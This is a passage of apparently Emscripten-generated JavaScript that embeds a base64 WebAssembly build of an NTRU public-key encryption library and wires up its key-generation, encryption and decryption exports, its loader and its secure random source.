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";
            
                    function BA() {
                        try {
                            if (D) return new Uint8Array(D);
                            var A = yA(rawWASMData);
                            if (A) return A;
                            if (a) return a(rawWASMData);
                            throw "both async and sync fetching of the wasm failed"
                        } catch (A) {
                            inform(A)
                        }
                    }
            
                    function QA() {
                        return D || !isBrowser && !isNode || "function" != typeof fetch || IA(rawWASMData) ? new Promise((function(A, I) {
                            A(BA())
                        })) : fetch(rawWASMData, {
                            credentials: "same-origin"
                        }).then((function(A) {
                            if (!A.ok) throw "failed to load wasm binary file at '" + rawWASMData + "'";
                            return A.arrayBuffer()
                        })).catch((function() {
                            return BA()
                        }))
                    }
            
                    function EA() {
                        var A = {
                            a: sA
                        };
            
                        function I(A, I) {
                            var g = A.exports;
                            B.asm = g, _()
                        }
            
                        function g(A) {
                            I(A.instance)
                        }
            
                        function Q(I) {
                            return QA().then((function(I) {
                                return WebAssembly.instantiate(I, A)
                            })).then(I, (function(A) {
                                s("failed to asynchronously prepare wasm: " + A), inform(A)
                            }))
                        }
                        if (O(), B.instantiateWasm) try {
                            return B.instantiateWasm(A, I)
                        } catch (A) {
                            return s("Module.instantiateWasm callback failed with error: " + A), !1
                        }
                        return function() {
                            if (D || "function" != typeof WebAssembly.instantiateStreaming || $(rawWASMData) || IA(rawWASMData) || "function" != typeof fetch) return Q(g);
                            fetch(rawWASMData, {
                                credentials: "same-origin"
                            }).then((function(I) {
                                return WebAssembly.instantiateStreaming(I, A).then(g, (function(A) {
                                    return s("wasm streaming compile failed: " + A), s("falling back to ArrayBuffer instantiation"), Q(g)
                                }))
                            }))
                        }(), {}
                    }
                    $(rawWASMData) || (rawWASMData = f(rawWASMData));
                    var iA = {
                        1024: function() {
                            return B.getRandomValue()
                        },
                        1062: function() {
                            if (void 0 === B.getRandomValue) try {
                                var A = "object" == typeof window ? window : self,
                                    I = void 0 !== A.crypto ? A.crypto : A.msCrypto,
                                    g = function() {
                                        var A = new Uint32Array(1);
                                        return I.getRandomValues(A), A[0] >>> 0
                                    };
                                g(), B.getRandomValue = g
                            } catch (A) {
                                try {
                                    var Q = eval("require")("crypto"),
                                        E = function() {
                                            var A = Q.randomBytes(4);
                                            return (A[0] << 24 | A[1] << 16 | A[2] << 8 | A[3]) >>> 0
                                        };
                                    E(), B.getRandomValue = E
                                } catch (A) {
                                    throw "No secure random number generator found"
                                }
                            }
                        }
                    };
            
                    function CA(A, I, g) {
                        var B = eA(I, g);
                        return iA[A].apply(null, B)
                    }
            
                    function nA(A, I, g) {
                        R.copyWithin(A, I, I + g)
                    }
            
                    function oA(A) {
                        inform("OOM")
                    }
            
                    function rA(A) {
                        oA()
                    }
                    L.push({
                        func: function() {
                            FA()
                        }
                    });
                    var aA = [];
            
                    function eA(A, I) {
                        var g;
                        for (aA.length = 0, I >>= 2; g = R[A++];) aA.push(g < 105 ? h[++I >> 1] : H[I]), ++I;
                        return aA
                    }
                    var cA = !1;
            
                    function tA(A) {
                        for (var I = [], g = 0; g < A.length; g++) {
                            var B = A[g];
                            B > 255 && (cA && u(!1, "Character code " + B + " (" + String.fromCharCode(B) + ")  at offset " + g + " not in 0x00-0xFF."), B &= 255), I.push(String.fromCharCode(B))
                        }
                        return I.join("")
                    }
                    var fA = "function" == typeof atob ? atob : function(A) {
                        var I, g, B, Q, E, i, C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                            n = "",
                            o = 0;
                        A = A.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        do {
                            I = C.indexOf(A.charAt(o++)) << 2 | (Q = C.indexOf(A.charAt(o++))) >> 4, g = (15 & Q) << 4 | (E = C.indexOf(A.charAt(o++))) >> 2, B = (3 & E) << 6 | (i = C.indexOf(A.charAt(o++))), n += String.fromCharCode(I), 64 !== E && (n += String.fromCharCode(g)), 64 !== i && (n += String.fromCharCode(B))
                        } while (o < A.length);
                        return n
                    };
            
                    function DA(A) {
                        if ("boolean" == typeof n && n) {
                            var I;
                            try {
                                I = Buffer.from(A, "base64")
                            } catch (g) {
                                I = new Buffer(A, "base64")
                            }
                            return new Uint8Array(I.buffer, I.byteOffset, I.byteLength)
                        }
                        try {
                            for (var g = fA(A), B = new Uint8Array(g.length), Q = 0; Q < g.length; ++Q) B[Q] = g.charCodeAt(Q);
                            return B
                        } catch (A) {
                            throw new Error("Converting base64 string to bytes failed.")
                        }
                    }
            
                    function yA(A) {
                        if ($(A)) return DA(A.slice(P.length))
                    }
                    var dA, sA = {
                            a: CA,
                            b: nA,
                            c: rA,
                            memory: y,
                            table: F
                        },
                        FA = (EA(), B.___wasm_call_ctors = function() {
                            return (FA = B.___wasm_call_ctors = B.asm.d).apply(null, arguments)
                        });
                    B._malloc = function() {
                        return (B._malloc = B.asm.e).apply(null, arguments)
                    }, B._free = function() {
                        return (B._free = B.asm.f).apply(null, arguments)
                    }, B._ntrujs_init = function() {
                        return (B._ntrujs_init = B.asm.g).apply(null, arguments)
                    }, B._ntrujs_public_key_bytes = function() {
                        return (B._ntrujs_public_key_bytes = B.asm.h).apply(null, arguments)
                    }, B._ntrujs_private_key_bytes = function() {
                        return (B._ntrujs_private_key_bytes = B.asm.i).apply(null, arguments)
                    }, B._ntrujs_encrypted_bytes = function() {
                        return (B._ntrujs_encrypted_bytes = B.asm.j).apply(null, arguments)
                    }, B._ntrujs_decrypted_bytes = function() {
                        return (B._ntrujs_decrypted_bytes = B.asm.k).apply(null, arguments)
                    }, B._ntrujs_keypair = function() {
                        return (B._ntrujs_keypair = B.asm.l).apply(null, arguments)
                    }, B._ntrujs_encrypt = function() {
                        return (B._ntrujs_encrypt = B.asm.m).apply(null, arguments)
                    }, B._ntrujs_decrypt = function() {
                        return (B._ntrujs_decrypt = B.asm.n).apply(null, arguments)
                    };
            
                    function NA(A) {
                        this.name = "ExitStatus", this.message = "Program terminated with exit(" + A + ")", this.status = A
                    }
            
                    function uA(A) {
                        function I() {
                            dA || (dA = !0, B.calledRun = !0, N || (X(), z(), B.onRuntimeInitialized && B.onRuntimeInitialized(), x()))
                        }
                        A = A || E, Z > 0 || (m(), Z > 0 || (B.setStatus ? (B.setStatus("Running..."), setTimeout((function() {
                            setTimeout((function() {
                                B.setStatus("")
                            }), 1), I()
                        }), 1)) : I()))
                    }
                    if (B.writeArrayToMemory = k, K = function A() {
                            dA || uA(), dA || (K = A)
                        }, B.run = uA, B.preInit)
                        for ("function" == typeof B.preInit && (B.preInit = [B.preInit]); B.preInit.length > 0;) B.preInit.pop()();
                    uA()
                })).catch((function() {
                    var A, I = void 0 !== (I = {}) ? I : {},
                        g = {};
                    for (A in I) I.hasOwnProperty(A) && (g[A] = I[A]);
                    var B = [],
                        Q = !1,
                        E = !1,
                        i = !1,
                        C = !1;
                    Q = "object" == typeof window, E = "function" == typeof importScripts, i = "object" == typeof process && "object" == typeof process.versions && "string" == typeof process.versions.node, C = !Q && !i && !E;
                    var n, o, r, a, e = "";
            
                    function c(A) {
                        return I.locateFile ? I.locateFile(A, e) : e + A
                    }
                    i ? (e = E ? eval("require")("path").dirname(e) + "/" : __dirname + "/", n = function(A, I) {
                        var g = DA(A);
                        return g ? I ? g : g.toString() : (r || (r = eval("require")("fs")), a || (a = eval("require")("path")), A = a.normalize(A), r.readFileSync(A, I ? null : "utf8"))
                    }, o = function(A) {
                        var I = n(A, !0);
                        return I.buffer || (I = new Uint8Array(I)), N(I.buffer), I
                    }, process.argv.length > 1 && process.argv[1].replace(/\\/g, "/"), B = process.argv.slice(2), "undefined" != typeof module && (module.exports = I), process.on("uncaughtException", (function(A) {
                        if (!(A instanceof NA)) throw A
                    })), process.on("unhandledRejection", _), function(A) {
                        process.exit(A)
                    }, I.inspect = function() {
                        return "[Emscripten Module object]"
                    }) : C ? ("undefined" != typeof read && (n = function(A) {
                        var I = DA(A);
                        return I ? cA(I) : read(A)
                    }), o = function(A) {
                        var I;
                        return (I = DA(A)) ? I : "function" == typeof readbuffer ? new Uint8Array(readbuffer(A)) : (N("object" == typeof(I = read(A, "binary"))), I)
                    }, "undefined" != typeof scriptArgs ? B = scriptArgs : void 0 !== arguments && (B = arguments), "function" == typeof quit && function(A) {
                        quit(A)
                    }, "undefined" != typeof print && ("undefined" == typeof console && (console = {}), console.log = print, console.warn = console.error = "undefined" != typeof printErr ? printErr : print)) : (Q || E) && (E ? e = self.location.href : document.currentScript && (e = document.currentScript.src), e = 0 !== e.indexOf("blob:") ? e.substr(0, e.lastIndexOf("/") + 1) : "", n = function(A) {
                        try {
